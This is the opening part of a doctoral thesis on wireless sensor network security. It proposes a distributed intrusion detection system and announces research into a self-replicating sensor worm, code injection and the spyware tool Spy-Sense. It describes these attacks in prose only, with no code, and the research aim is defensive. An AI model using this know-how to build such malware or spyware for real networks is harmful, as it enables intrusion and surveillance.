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Abstract

Over the last few years, technological advances in the design of processors, memory,
and radio communications have propelled an active interest in the area of distributed
sensor networking, in which a number of independent, self-sustainable nodes collaborate
to perform a large sensing task. Networks of such devices, commonly referred to as
Wireless Sensor Networks (WSNs), are edging closer to widespread feasibility and have
enabled the design and proliferation of new intelligent sensor-based environments in a
variety of application domains.

Security and privacy are rapidly replacing performance as the first and foremost concern
in many sensor networking scenarios. While security prevention is important, it cannot
guarantee that attacks will not be launched and that, once launched, they will not
be successful. Not all types of attacks are known, and new ones appear constantly.
Therefore, detection of malicious intrusions forms an important part of an integrated
approach to network security.

In this work, we start by considering the problem of cooperative intrusion detection in
WSNs where the nodes are equipped with local detector modules and have to identify
the intruder in a distributed fashion. We develop a lightweight ID system, called LIDeA,
which follows an intelligent agent-based architecture. In LIDeA, nodes overhear their
neighboring nodes and collaborate with each other in order to successfully detect an
intrusion. We show how such a system can be implemented, which components and
interfaces are needed, and what is the resulting overhead imposed.

We then expand this ID framework with algorithms that incorporate both classes of
intrusion detection techniques, i.e., misuse detection and anomaly detection. We inves-
tigate in depth some of the most severe routing attacks against sensor networks, namely
the sinkhole and wormhole attacks, and we emphasize on strategies that an attacker
can follow to successfully launch them. Then we propose novel localized countermea-
sures that can make legitimate nodes become aware of the threat, while the attack is
still taking place. Detailed theoretical analysis and simulation results confirm that the
proposed algorithms can always thwart these kinds of attacks. Also, by providing an
implementation on real sensor devices, we demonstrate their practicality and efficiency
in terms of memory requirements and processing overhead.

However, one of the reasons that the research of intrusion detection has not advanced
significantly is that the concept of intrusion is not clear in these networks. Little work
has been done to demonstrate how vulnerable, in terms of data confidentiality and
network availability, sensor networks are. The best way to do that is to look into new
threat models, how specific attacks can be realized in practice and study new methods
from the attacker’s point of view. Motivated by this unexplored security aspect, we
investigate a new set of memory related vulnerabilities for sensor embedded devices
that, if exploited, can lead to the execution of software-based attacks. We demonstrate
how to execute malware on wireless sensor nodes that are based on the Von Neumann



architecture. Then we proceed to show how the malware can be crafted to become
a self-replicating worm that broadcasts itself and infects the network in a hop-by-hop
manner. This is the first instance of a “sensor worm” that provides a detailed analysis
along with instructions in order to execute arbitrary malicious code.

While such attacks are extremely dangerous, there has been very little research in
this area. This new threat model sets the scene for the development of sophisticated
attack tools (SenSys and SpySense) capable of launching various kinds of attacks for
compromising the network’s functionality. They can be useful not only in revealing all
the weaknesses that make sensor networks susceptible to various kinds of threats but
also in studying the effects of such exploits on the network itself.

The SenSys tool allows both passive monitoring of transactional data in sensor net-
works, such as message rate, mote frequency, message routing, etc., but also discharge
of various attacks against them. On the other hand, Spy-Sense is a spyware tool that
allows the injection of stealthy exploits in the nodes of the network. It is undetectable,
hard to recognize and get rid of, and once activated, it runs discretely in the background
without interfering or disrupting normal network operation. To the best of our knowl-
edge, these are the first instances of attack tools that can be used by an adversary to
crack the confidentiality and functionality of a sensor network. Our goal is to describe
the “best” ways for launching already existing attacks and demonstrate new ones in
practice. This in turn can lead to the development of more secure applications and
better detection/prevention mechanisms in WSNs.



English-Danish Short Summary

This thesis considers detection of security threats in Wireless Sensor Networks. Part
I is dedicated to security defense mechanisms, proposing an implementation of a de-
centralized Intrusion Detection System (IDS) that is based on an autonomic principle
of cooperation between nodes. It also expands this IDS framework (i.e., LIDeA) with
novel algorithms and rules that can make legitimate nodes become aware of threats
like the sinkhole and wormhole attacks. Part II is focused on sophisticated malicious
attacks against WSNs including the extensive study of new threat models from the at-
tacker’s point of view, as well as their realization in practice. Malicious code injection
attacks are discussed and two novel attack tools, namely Spy-Sense and SenSys, are
demonstrated for penetrating a network’s security profile.

Denne afhandling omhandler detektering af sikkerhedstrusler i tr̊adløse sensor netværk.
Den første del er dedikeret til mekanismer til forsvar ad sikkerheden og foresl̊ar en im-
plementering af et decentralt Intrusion Detection System (IDS), der er baseret p̊a et
autonomt princip for samarbejde mellem sensornoder. Dette IDS framework udvides
(dvs. LIDeA) med nye algoritmer og regler, der kan gøre legitime sensornoder opmærk-
somme p̊a trusler s̊asom sinkhole og wormhole angreb. Den anden del af afhandlingen
er fokuseret p̊a ondsindede sofistikerede angreb mod tr̊adløse sensor netværk herunder
et omfattende studie af nye trusselsmodeller, der kan benyttes af en indtrænger, s̊avel
som deres realisering i praksis. Angreb med injektion af ondsindet kode diskuteres og to
nye angrebsværktøjer, kaldet Spy-Sense og SenSys, demonstreres til at trænge igennem
et netværks sikkerhedsprofil.
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Chapter 1

Introduction

1.1 The Sensing Paradigm

Recent advances in Micro-electro-mechanical systems (MEMS) and wireless communication tech-

nologies made it possible to build small devices that can run autonomously and be deployed in a

large-scale, low power, inexpensive manner that is acceptable to many commercial and government

users. These devices can be used to form a new class of distributed networking, namely Wireless

Sensor Networks (WSNs). Sensor networks’ configurations range from very flat, with few com-

mand nodes denoted as base stations, sinks or cluster controllers, to hierarchical nets consisting of

multiple networks layered according to operational or technical requirements. The robustness and

reliability of such networks have improved to the point that enabled their proliferation to a wide

range of applications (1) for a variety of tasks; from battlefield surveillance and reconnaissance to

other risk-associated applications such as environmental monitoring and industrial controls.

Since the early 1990s, distributed sensor networking has been an area of active research. The

trend is to move from a centralized, super reliable single-node platform to a dense and distributed

multitude of cheap, lightweight and potentially individually unreliable components that, as a group,

are capable of far more complex tasks than any single super node. The intuition is to have individual

sensor nodes share information with each other and collaborate to improve detection probabilities

while reducing the likelihood of false alarms (2, 3). Research prototype sensors (UCB motes (4),

Tmote Sky (5), Telos (6), EyesIFX (7), ScatterWeb MSB-430 (8)) are designed and manufactured,

energy efficient MAC (9, 10), topology control protocols (11, 12) and routing schemes (13, 14, 15) are

implemented and evaluated, various enabling technologies such as time synchronization (16, 17, 18),

localization and tracking (19) are being studied and invented. All these provide sensor networks

tremendous potential for information collection and processing in a variety of application domains.

The first generation of sensor nodes facilitated the genesis of wireless sensor networks as they

exist today: small resource-constrained embedded devices that communicate via low-power, low-

bandwidth radio, capable of performing simple sensing tasks. A first set of scenarios for these

1
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Figure 1.1: History of research in sensor networks application domains.

networks included stationary nodes sensing ephemeral features of the environment, like tempera-

ture, noise, air pollution, etc. By continuously monitoring these surrounding attributes, they solved

relatively small-scale specialized problems such as forest monitoring, preventative maintenance, etc.

Early sensor networks, as shown in Figure 1.1, functioned primarily into two important ap-

plication domains: monitoring and tracking (20). WSNs can be configured to monitor a variety

of target types. The networks themselves are mode-agnostic, enabling multiple types of sensors

to be employed, depending on operational requirements; cameras as vision sensors, microphones

as audio sensors, ultrasonic, infrared, light, temperature, pressure/force, vibration, radio activity,

seismic sensors, and so on. Target tracking can also be performed effectively with sensors deployed

as a three-dimensional field and covering a large geographic area. Therefore, some of the most

common applications are military, medical, environmental and habitat monitoring (21, 22, 23, 24),

industrial and infrastructure protection (25), disaster detection and recovery, green growth (26)

and agriculture, intelligent buildings (27), law enforcement, transportation and space discovery.

For instance, in enterprise scale manufacturing and retail companies, sensor networks can be com-

bined with RFID (Radio Frequency ID) tags to monitor inventory and support in-process parts

tracking. These networks can automatically report problems at various stages such as in-plant

manufacturing, packaging, and equipment maintenance.

2
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Table 1.1: Traditional Sensor Networks vs. People-Centric Sensing

Traditional Sensor Networks People-Centric Sensing

Specially designed deployed hardware Leveraging available devices
Fully automatic & standalone systems Humans in the loop
Thousands of small devices Systems of heterogeneous devices
Fixed, Static Deployment Mobility

Although these problems and applications remain important, the recent advances in pervasive

and ubiquitous computing led to new exciting applications for sensor networks involving their use

in home automation and “smart interactive environments”. For example, in a hospital, outfitting

every patient with tiny, wearable vital sign sensors would allow doctors to continuously monitor the

status of their patients (e.g., MobiCare (28), CodeBlue (29), WW-BAN (30), and HealthGear (31)).

Additionally, in assistive environments, sensor-based monitoring can be proved a valuable tool for

those who may have physical or cognitive impairment. It is an ideal technology that provides most

direct and effective information about users’ location and activities (32).

However, the latest trend in sensor networking tries to change the traditional view of sensor-

based environments where people are passive data consumers that simply interact with physically

embedded static sensor webs, with one where people carry mobile sensing elements involving the

collection, storage, processing and fusion of large volumes of data related to everyday human

activities. This evolution is driven by the miniaturization and introduction of sensors into popular

electronic devices like mobile phones and PDAs. With wireless sensor platforms in the hands of

thousands, we can expect sensor networks to address urban-scale problems as shown in Figure 1.1.

Such systems, often referred to as urban sensing or people-centric sensing (33) systems, come

to complement previous efforts on extending the possibilities of wireless sensor networks by taking

advantage of the large scale of sensors already existing in our hands (as seen in Table 3.1). These

systems aim at daily life applications, employing the mobile devices people already carry for sensing

information directly or indirectly related to human activity, as well as aspects of the environment

around them.

These ubiquitous devices are increasingly capable of capturing and transmitting image, acoustic,

location, and other data, interactively or autonomously. They can become the best platform

for coordinated investigation of the environment and human activity (34, 35, 36) by enabling

users to gather, analyze, and share local knowledge. With these capabilities in mind, and new

network architectures for enhancing data credibility, quality, privacy, and “shareability”, they can

encourage people participation at personal, social and urban scales. In a people-centric system,

humans, rather than machines, are the focal point of the sensing infrastructure enabling sensing

3
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coverage of large public spaces over time and letting individuals, as sensing device custodians,

collect targeted information about their daily patterns and interactions. More information about

this highly dynamic and mobile sensing environment can be found in Chapter 9 where we discuss

our vision for people-centric sensing and study the security challenges it brings.

In general, when the concept of sensor networking was first introduced, it was more a vision

than a technology ready to be exploited. Even though their benefits were quickly recognized,

their application was mostly limited to large military systems. However, during the recent years,

we have witnessed tremendous growth in the capabilities of networked sensors resulting in small,

inexpensive, and powerful micro-sensors with embedded processing and reliable wireless networking

abilities. Therefore, people are finding more and more applications for them, ranging from home

automation to their integration in solving urban-scale problems. In fact, possible applications are

only limited by our imagination. With networks of small, microscopic sensors embedded in the

fabric of our society, that are capable of performing automated continual and discrete monitoring,

the basic components of a widespread participatory sensor network already exist. There is an

exciting challenge to leverage the investment in wireless research and infrastructure to generate a

proportional civic benefit that could drastically enhance our understanding of human life and the

surrounding environment.

1.2 Motivation and Research Objectives

Though the focus of recent research on WSNs has been on the feasibility aspects of such networks,

by extending their lives using energy-conserving communication models (37, 38, 39) and advancing

them to that point that can enable the integration of ubiquitous sensing computing as part of our

everyday life, little effort has yet been put to determine how these networks would actually survive

the tough rigors of real world challenges. Security is of paramount importance in these types of

devices, especially in the latest trend of application domains where strategic decisions are expected

to be based on information received from these sensor nodes.

Sensor networks, as any class of distributed networking, are exposed to security threats which,

if not properly addressed, can exclude them from being deployed in the envisaged scenarios. Their

intrinsic characteristics make them vulnerable to attacks by malicious intruders. For instance,

WSNs are often expected to operate unattended for prolonged periods of time. On account of

that, their inadequate physical protection makes them receptive to being captured, compromised

and hijacked (40). Thus, any cryptographic material they contain can be used by adversaries to

perform attacks from within the network and such attacks are much harder to detect and prevent.
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Moreover, since communication takes place “through the air” using radio frequencies, a wide

class of attacks are enabled ranging from passive eavesdropping to active interfering. Additionally,

their wireless and distributed nature and their serious constraints in battery power prevent pre-

viously established security approaches to be deployed, creating a large number of vulnerabilities

that attackers can exploit in order to gain access in the network and the information transferred

within.

For example, in an outsider attack, where the attacker node is not an authorized participant of

the sensor network, she may inject useless packets in the network in order to exhaust the energy

levels of the nodes, or passively eavesdrop on the network’s traffic and retrieve secret information.

Even worse, in an insider attack, the attacker has compromised a legitimate sensor node and uses

the stolen key material, code and data in order to communicate with the rest of the nodes, as if

it was an authorized node. With this kind of intrusion, an attacker can launch more powerful and

hard to detect attacks that can disrupt or paralyze the network.

Several classical security methodologies have been introduced for sensor networks over the last

few years that focus, mostly, on trying to prevent malicious outsiders from compromising the net-

work. Key management protocols (41, 42) as well as encryption and authentication algorithms

have been extensively studied aiming to protect information from being revealed to an unautho-

rized party and guarantee its integral delivery to the base station. Other specific services like

localization, aggregation, cluster formation and time synchronization have also been secured under

certain conditions (43, 44, 45). Some security protocols have been also designed with the goal of

protecting a sensor network against specific attacks, like selective forwarding (46), sinkhole (47) or

wormhole (48) attacks, etc.

Therefore, security issues are of primary concern for the design and commercial deployment of

sensor networks. However, intrusion prevention techniques do not always guarantee the protection

of the network. Not all types of attacks are known, and new ones appear constantly. As a result,

attackers can always find security holes to exploit in order to gain access in the sensor network.

These intrusions will go unnoticed and they will likely lead to failures in the normal operation of

the network, as Figure 1.2(a) suggests. Besides, these techniques are designed to secure specific

loopholes created by specific protocols. This does not exclude clever adversaries from finding new

ways to achieve their goals, especially in systems like sensor networks with inherent vulnerabilities.

That’s why we refer to intrusion prevention as the first line of defense.

What has been lacking, however, is an approach that encompasses autonomic response over

a broad range of attacks and can detect third party break-in attempts (Figure 1.2(b)). Our first

research objective is to come up with a lightweight approach that allows the sensor network itself to

recognize an intruder, using a sufficient set of rules and algorithms, and isolate her from the network.
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Figure 1.2: Intrusion sequence. In (a), attackers may exploit a vulnerability and intrude into the
network, causing a failure; (b) intrusion detection functions as a second line of defense.

A research challenge, therefore, is the design of a lightweight, adaptive security architecture that

can monitor the sensor network, recognize a security threat and respond by a coordinated, localized,

and, possibly, self-healing mechanism.

The research of intrusion detection in WSNs is still an active field. A number of efforts con-

centrate on developing solutions that can adapt to the special characteristics of these networks.

However, the challenge here is how can someone explore new methods to detect attacks when the

underlying network and protocol vulnerabilities have not yet been identified. What loopholes can

an adversary exploit in order to intrude the network? Our second research objective, therefore,

is to demonstrate how vulnerable, in terms of data confidentiality and network availability, sensor

networks are, thus revealing all the weaknesses that make sensor networks susceptible to various

kinds of threats but also studying the effects of such exploits on the network itself. Our goal

here is to describe the “best” ways for launching already existing attacks and demonstrate new

ones in practice. This in turn can lead to the development of more secure applications and better

detection/prevention mechanisms.

1.3 Contributions

The results of this work serve a two-fold purpose: reveal new possible weaknesses that can be

exploited by an adversary in order to achieve a better and more realistic intrusion detection archi-

tecture for securing sensor networks.

The above described agenda is realized in the following components, which together form the

research contributions of this work.

1.3.1 On the Security Side: The Intrusion Detection Problem

We introduce the problem of intrusion detection in sensor networks. We discuss the process of

designing efficient IDS frameworks by presenting the parameters that one has to take under con-
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sideration, the different techniques and architectures that are appropriate for such networks, and

the requirements that such a system should satisfy. Then, we introduce a novel architecture of a

distributed IDS, in which, even though nodes don’t have a global view of the network, they can

still collaborate with each other and successfully detect an intrusion.

Any part of the sensor network can be a possible point of intrusion, since all nodes act as

routers of information and they can be easily manipulated or subverted by an attacker. There-

fore, our approach is decentralized and is based on organizing autonomous but cooperative IDS

agents according to the distributed nature of the events involved in the attacks. The intuition

is that nodes in the neighborhood of the attacker exchange information about who they suspect

and jointly come to the conclusion such that the attacker is identified. Hence, we move on to

describe such an IDS architecture and come up with an experimental intrusion detection system

called LIDeA (Lightweight Intrusion Detection Architecture). We show how such a system can

be implemented, which components and interfaces are needed, and what is the resulting overhead

imposed in terms of communication, energy, and memory requirements. This is the first work to

present such an implementation which is at the same time both realistic and lightweight enough to

run on computationally and memory restricted devices such as the nodes of a sensor network.

In addition to that we take a closer look at examples of how this schema can be used to detect

specific attacks such as the Sinkhole and Wormhole attacks. We use these examples to show how the

agents generate alerts based on the messages that are monitored and which rules one should built

to analyze these messages. We present novel lightweight countermeasures, which do not require

any specialized hardware, and can be easily incorporated in LIDeA. They are completely localized

and work by looking for simple evidence that no attack is taking place, using only connectivity

information, as implied by the underlying communication graph, and total absence of coordina-

tion. Detailed theoretical analysis and simulation results confirm that the proposed algorithms

can always thwart such attacks, irrespective of the density of the network or any frequent neighbor

connectivity changes. Also, by providing an implementation on real sensor devices, we demonstrate

their practicality and efficiency in terms of memory requirements and processing overhead.

1.3.2 On the Intruder Side: Compromising Sensor Network Security

We identify some of the sensor network vulnerabilities that can be exploited by an attacker for

launching various kinds of attacks such as routing-layer, link-layer attacks, permanent code injection

attacks and, eventually, spyware programs. Spying is an invasion of privacy that can lead to serious

repercussions if the data collected lands into unscrupulous hands. We demonstrate the practicality

of these attacks by building the first instances of attack tools for compromising the network’s

confidentiality and functionality. By studying the after-effects of various exploits on the network
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itself, we highlight the need for better design of security protocols that can make them even more

resilient to tools like the current ones.

The first tool is called SenSys and allows both inspection of a sensor network’s functionality by

analyzing overheard radio messages as well as discharge of various attacks against it. It can identify

common applied protocols and use this information for performing various network layer attacks

as well as novel ones like malicious code injection. Also, it can extract useful network information

such as node crashes, reboots, routing problems, network partitions, and traffic analysis (overall

network traffic or overheard traffic by each sensor node).

The second tool is Spy-Sense, a spyware tool that allows the injection of stealthy exploits

in the nodes of a sensor network. Spy-Sense is undetectable, hard to recognize and get rid of,

and once activated, it runs discretely in the background without interfering or disrupting normal

network operation. It provides the ability of executing a stealthy exploit sequence that can be

used to achieve the intruder’s goals while reliably evading detection. Exploits are sequences of

machine code instructions that cause unintended behavior to occur on the host sensor. Examples

of loaded Spy-Sense exploits include data manipulation (theft and/or alteration), cracking (energy

exhaustion, change of node IDs), network damage (radio communication faults or break downs,

system shut downs), etc.

To the best of our knowledge, these are the first instances of attack tools that can be used by

an adversary to penetrate the confidentiality and functionality of a sensor network. Results show

that our tools can be flexibly applied to different sensor network operating systems and protocol

stacks giving an adversary privileges to which she is not entitled. We use them proactively, to

study the weaknesses of new security protocols, and to enhance the level of security provided by

our approach even further.

1.4 Dissertation Outline

Following the research contributions agenda, the rest of this dissertation is divided into two self-

contained parts as shown in Figure 1.3. Part I deals with the main research directions in sensor

network security and emphasizes on the intrusion detection problem. It reviews the IDS architecture

used for evaluating the effectiveness of our novel proposed attack countermeasures. Part II stands

in the “dark” side of intruding such a network and demonstrates the best ways of launching existing

attacks and new destructive ones. This arrangement is intended to help the readers deduct the

mutual dependence of the two parts in the resulting framework: Better understanding of network

vulnerabilities enables the design of more resilient detection/prevention algorithms.
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Figure 1.3: Abstract view of dissertation structure.

In Chapter 2, we review the main characteristics of WSNs and outline the security issues in them.

We cover several limitations and challenges and study the required network security profile as a

combination of a potential attacker’s motivation and the WSN vulnerabilities. Then, we emphasize

on the reasons for which security techniques developed for other types of wireless networks are not

readily applicable to sensor networks.

Chapter 3 introduces the problem of intrusion detection in WSNs. We review intrusion detection

techniques and architectures from wired and ad-hoc networks and identify which approaches are

best for sensor networks. Then we present LIDeA, a lightweight intrusion detection framework

that is based on a distributed architecture in which nodes overhear their neighboring nodes and

collaborate with each other in order to successfully detect an intrusion. We show how such a

system can be implemented, which components and interfaces are needed, and what is the resulting

overhead imposed. This will set the scene for the next chapters where we expand this framework

with algorithms that can detect some of the most severe attacks against sensor networks; the routing

attacks.

Chapters 4 and 5 investigate in depth two of the most challenging routing attacks, namely

the sinkhole and wormhole attacks respectively. Chapter 4 describes the most effective ways to

launch a sinkhole attack and demonstrates them in practice. We reveal the weaknesses of the
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routing protocols that are most widely used by the research community, hoping that this will lead

to a better awareness of the existing threats. Then we propose novel countermeasures against these

threats in the direction of intrusion detection having used LIDeA as our reference point. Chapter 5

explores the development of a localized algorithm that can detect wormhole attacks on wireless

networks directly based on connectivity information implied by the underlying communication

graph. Detailed theoretical analysis and simulation results confirm that the proposed algorithms

can always thwart these kinds of attacks. Also, by providing an implementation on real sensor

devices, we demonstrate their practicality and efficiency in terms of memory requirements and

processing overhead.

Chapter 6 is the first part of our work on demonstrating how vulnerable, in terms of data

confidentiality and network availability, sensor networks are. We introduce the problem of software-

based attacks and demonstrate how to execute malware on wireless sensor nodes that are based

on the Von Neumann architecture. Then we proceed to show how the malware can be crafted

to become a self-replicating worm that broadcasts itself and infects the network in a hop-by-hop

manner. To the best of our knowledge, this is the first instance of a “sensor worm” that provides

a detailed analysis along with instructions in order to execute arbitrary malicious code.

Continuing our work on studying new threat models, Chapter 7 and 8 present a set of tools

(SpySense and SenSys) that can be useful not only in revealing all the weaknesses that make

sensor networks susceptible to various kinds of threats but also in studying the effects of such

exploits on the network itself. Spy-Sense is a spyware tool that allows the injection of stealthy

exploits in the nodes of the network. It is undetectable, hard to recognize and get rid of, and once

activated, it runs discretely in the background. The SenSys tool allows both passive monitoring of

transactional data in sensor networks and discharge of various attacks against them. To the best

of our knowledge, these are the first instances of attack tools that can be used by an adversary to

crack the confidentiality and functionality of such a network.

In Chapter 9, we discuss our vision for people-centric sensing environments and study their secu-

rity challenges. We make the case for trustworthy participatory sensing and motivate the problems

of data protection, shareability, and confidentiality. Our goal is to point out some interesting future

research directions in this field since our belief is that participatory sensing bears an irrefutably

great potential and holds the key to leverage the usage of sensor networks towards civic benefit.

Finally, Chapter 10 summarizes the thesis and concludes with some future research directions

in the field of securing sensor networks.
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Chapter 2

Security Issues in Wireless Sensor
Networks

2.1 Introduction

As wireless sensor networks continue to grow, so does the need for effective security mechanisms.

Because sensor networks usually interact with sensitive data and operate in hostile unattended

environments, it is imperative that these security concerns be addressed from the beginning of

the system design. Combining all the necessary components (sensors, radios and CPUs) into an

effective sensor network requires a detailed understanding of both the capabilities and limitations

of each of the underlying technologies. Each individual node must be designed to provide the set

of primitives necessary to synthesize the interconnected topology as it is deployed, while meeting

strict requirements of size, cost, and power consumption. In order to facilitate applications that

require packet delivery from one or more senders to multiple receivers, provisioning security in

group communications is pointed out as a critical and challenging goal.

However, due to inherent resource and computing constraints, security in sensor networks poses

different challenges than traditional network security. First, unlike traditional networks, sensor

nodes are often deployed in large accessible areas, presenting the added risk of physical attack.

Second, sensor networks interact closely with their physical environments and with people, posing

new security problems. And third, most of the early proposed network techniques assumed that

all nodes are cooperative and trustworthy. However, as we noted in the previous chapter, this

is not the case for many sensor network applications which require a certain amount of trust in

the application in order to maintain proper network functionality. Consequently, existing security

mechanisms are inadequate, new research directions arise and new ideas are needed to properly

address sensor network security (49).

With this in mind, we review the major topics in wireless sensor network security, and present

the obstacles and the requirements for a resilient security profile. The remainder of this chapter
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Figure 2.1: WSN’s node architecture.
Figure 2.2: Example sensor platform: Moteiv
Tmote Sky.

is organized as follows. Section 2.2 presents the main characteristics of sensor networks, in more

detail, along with their attributes that make them so popular in the distributed networking domain.

In Section 2.3, we summarize the obstacles for sensor network security as imposed by the extreme

limitations of sensor devices.Then, in Sections 2.4 and 2.5, we outline the security issues and

challenges in sensor networks and discuss the requirements that a security protocol has to meet.

Following that, we formulate the threat model and classify the major attacks against these types of

networks in Sections 2.6 and 2.7. This identification helps to set the scene for the following chapters

that present individual research contributions. Finally, we conclude the chapter in Section 2.8

where we highlight the need for more efficient security protocols, and therefore, intrusion detection

systems.

2.2 Sensor Networks: Benefits & Limitations

A distributed sensor network is a heterogeneous system consisting of hundreds or thousands of

low-cost and low-power tiny sensors that are interconnected by a communication network. The

sensors are embedded devices (as illustrated in Figure 2.1), that are networked via wireless media,

integrated with a physical environment and are capable of acquiring signals, processing the signals,

communicating and performing simple computational tasks. Common functionalities of WSNs are

broadcasting and multicasting, routing, forwarding, and route maintenance. By correlating sensor

output of multiple nodes, the WSN as a whole can provide such functionalities that an individual

node cannot. There is no central computer that performs the coordination tasks; instead, the

network itself is a computer and users interact with it directly, possible in interactive or proactive

paradigms (50).

Embedded systems are not new, but sensor networks greatly extend their capabilities. They

are self-configuring systems and can be deployed spatially and temporally in various environments

depending on the application demands. Their position need not be engineered or pre-determined.
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Table 2.1: Attributes of distributed sensor networks

Inherent Attributes Description::

Sensors Size: small (e.g., mobile phone sensors), large (e.g., radars, satellites)
Composition: homogeneous, heterogeneous
Spatial Coverage: dense, sparse
Deployment : fixed (e.g., factory networks), ad-hoc (e.g., air-dropped)
Dynamics: stationary (e.g., structural sensors), mobile (e.g., vehicles)

Sensing Components Extent : distributed (monitoring), localized (tracking)
Nature: cooperative (e.g., intrusion det.), competitive (e.g., military)

Operating Environment Benign, Unknown or Chaotic
Communication Networking : wireless through multiple hops

Bandwidth: high, low
Processing Architecture Centralized (data sent to base stations), Distributed, Hybrid

Often such networks lead to low-cost and reliable implementations. They can operate over large

time scales and quick response times are feasible for demanding sensing loops. The reliability and

overall throughput of sensing is improved by using concurrent operations and redundant routing

paths. Redundancy is a strong feature that allows the development of fault-tolerant systems that

degrade gracefully under exceptional circumstances.

The strength of distributed sensor networks lies in their flexibility and universality. The wide

range of targeted applications forces them to provide some attractive characteristics, as shown in

Table 2.1. A unique feature is the cooperative effort of sensor nodes. Sensors can detect multi-

ple input modalities, and combining such values provides new information that cannot be sensed

directly. They operate in complementary, collaborative mode and data gathered by individual sen-

sors are integrated to synthesize new information using data fusion techniques (51, 52). Instead of

sending the raw data to the nodes responsible for the fusion, sensors use their processing abilities to

locally carry out simple computations and transmit only the required and partially processed data.

Furthermore, as we noted earlier, sensor nodes are densely deployed and have short communication

range. Hence, multi-hop communication is used which consumes less power than the traditional

single-hop communication. Transmission power levels are kept low and signal propagation effects

experienced in long-distance wireless communications are overcome. Finally, WSNs have the ability

to dynamically adapt to changing environments. Adaptation mechanisms can respond to changes

in network topologies or can cause the network to shift between different modes of operation.

All these features of sensor networks highlight a vision in which thousands to millions of tiny sen-

sor devices will be embedded in almost every aspect of our everyday life. However, their widespread

deployment and overall success is directly related to their security strength. Even though WSNs are
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capable of collecting massive amounts of information, recognizing significant events automatically

and responding appropriately, the need for security, in every network component, is obvious and

must be of primary concern in the design process of sensor networks.

2.3 Why Sensor Networks are Difficult to Protect

Although wireless sensor networks have an inherent ad-hoc nature, they pose a number of new

constraints and limitations compared to traditional computer networks. Therefore, existing security

solutions cannot be directly employed; instead, they have to be adapted to the characteristics of

this special type of networking (53).

Security, most of the times, is viewed as a standalone component of a system’s architecture

which is provided by a separate module. This separation is, however, a flawed approach in the

case of sensor networks. To achieve a secure system we should design protocols, in each layer, with

security in mind since layers without security can become single points of attack. In particular,

all security-related mechanisms require an integrated and comprehensive approach that, if, added

as an afterthought will not be as effective. The consequence is that developing useful security

mechanisms, while borrowing the ideas from the current security techniques, requires an in depth

understanding of the above mentioned constraints (54).

2.3.1 Limited Resources

The extreme resource limitations of sensor devices pose considerable challenges to resource-hungry

security mechanisms. In order to implement effective approaches, a certain amount of data memory,

code space, and energy is required. However, these resources are very limited in a tiny wireless

sensor and the trend has been to increase the lifetime of such devices by decreasing their memory,

CPU, and radio bandwidth.

• Limited Memory and Storage Space. A representative example of a widely used sensor

device is the MoteIV Tmote Sky platform (Figure 2.2). The Tmote Sky module uses the ultra

low power TI MSP 430 F1611 microcontroller (55) featuring 10 KB of RAM, 48KB of flash,

128KB of information storage, and an IEEE 802.15.4 compliant wireless transceiver (56).

Such hardware constraints necessitate extremely efficient security algorithms in terms of

bandwidth, computational complexity, and memory. However, this is a non-trivial task. Ta-

ble 2.2 (57) indicates the limited resources available by the majority of the currently existing

sensor nodes, both those commercially available and those created by research institutions.
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Table 2.2: Selection of currently available sensor nodes

Platform MCU RAM Program & Data Memory Radio Chip

BTnode3 ATMega128 64 KB 128 - 180 KB CC1000/Bluth
Cricket ATMega128 4 KB 128 - 512 KB CC1000
Imote2 Intel PXA271 256 KB 32 - MB CC2420
MICA2 ATMega128 4 KB 128 - 512 KB CC1000
MICAZ ATMega128 4 KB 128 - 512 KB CC2420
Shimmer TI MSP 430 10 KB 48 KB - Up to 2 GB CC2420/Bluth
TelosA TI MSP 430 2 KB 60 -512 KB CC2420
TelosB TI MSP 430 10 KB 48 KB - 1 MB CC2420
XYZ ARM 7 32 KB 256 - 256 KB CC2420

• Energy Scarcity. Energy is the biggest constraint in wireless sensor capabilities. It is the

main reason that nodes are subject to failures due to depleted batteries, or more general, due

to environmental changes. Once deployed, sensor nodes need to operate autonomously for

prolonged periods of time and they cannot be easily replaced or recharged. Therefore, energy

consumption must be minimized; this necessitates both the power efficiency of the hardware

and the efficiency of security and other protocols.

Overall, securing the basic operations of a sensor network becomes a challenging task, given

these limited resources, as well as the lack of control of the wireless communication medium. Public-

key algorithms (58) or variants of Diffie-Helman (59) are undesirable, as they have a great impact on

the lifespan of a sensor. Instead, symmetric encryption/decryption algorithms and hash functions

are widely used and constitute the basic tools for securing sensor network communication. However,

such techniques are not considered as effective as public key cryptography, which complicates the

design of secure applications.

2.3.2 Unreliable Communication

Certainly, the very nature of the wireless communication medium, which is inherently insecure,

poses another threat to sensor security. Unlike wired networks, where a device has to be physically

connected to the medium, the wireless medium is open and accessible to anyone. Therefore, any

transmission can easily be intercepted, altered, or replayed by an adversary. The wireless medium

also allows an attacker to easily intercept valid packets and inject malicious ones.

Furthermore, unreliable transmission channels may result in damaged packets. This occurs due

to channel errors or high congestion in sensor nodes. Even in the case of reliable channels, the

communication may still be unreliable. If packets meet in the middle of transfer, conflicts will
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occur and the transfer itself will fail. Such a weakness can be exploited by an intruder, with a

strong transmitter, who can easily produce interference (e.g., jamming (60, 61)) from a distance

that makes any physical response infeasible or, in some applications, plain impossible.

Finally, multi-hop communication can introduce great latency in the network, thus making it

difficult to achieve synchronization among sensor nodes. As we noted earlier, synchronization issues

can be critical to sensor security where the security mechanism relies on critical event reports and

cryptographic key distribution.

2.3.3 Ad-Hoc Deployment and Immense Scale

Node mobility, node failures, and environmental obstructions cause a high degree of dynamics in

WSNs. This includes frequent topology changes and network partitions. One of the most attractive

characteristics is their ability to be deployed in large areas, with thousands or millions of nodes,

without any prior knowledge on their position. It is crucial, therefore, that security schemes can

operate within this dynamic environment. Simply networking tens to hundreds or thousands of

nodes has proven to be a substantial task. Providing security over such a network is equally

challenging. The ever-changing nature of sensor networks requires more robust designs for security

techniques to cope with such dynamics.

Similarly, changes in the network membership need to be supported in an equally efficient

and secure manner. A node device joining/leaving the network should be transparent and a min-

imum amount of information should have to be reconfigured. Contributory key establishment

protocols (62) should be applicable in these network scenarios, in such a way, that having a large

number of nodes will not slow down the process.

2.3.4 Unattended Operation

Another challenging factor is the hostile environment in which sensor nodes function. Depending

on the application, nodes may be left unattended for long periods of time. This exposes them

to physical attacks. Motes face the possibility of destruction or (perhaps worse) capture and

compromise by attackers (40). Node compromise occurs when an attacker gains control of a node

in the network after deployment. Not only are these adversaries capable of physically damaging

the device, rendering it non-functional, but they can also alter device characteristics/mechanisms

to send out data readings of their choice. Once in control, the attacker can alter the node to listen

to information in the network, input malicious data or perform a variety of attacks. She may also

disassemble the node and extract information vital to the network’s security such as routing tables,

